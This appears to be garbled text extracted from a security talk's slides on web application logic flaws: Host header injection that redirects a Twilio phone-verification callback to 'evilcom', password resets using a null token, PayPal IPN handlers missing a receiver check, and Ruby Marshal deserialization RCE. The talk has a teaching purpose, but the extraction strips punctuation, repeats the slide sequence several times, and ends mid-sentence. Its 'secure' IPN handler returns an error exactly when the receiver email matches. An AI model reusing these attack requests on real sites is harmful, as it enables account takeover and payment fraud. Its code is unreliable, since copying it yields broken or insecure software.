Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
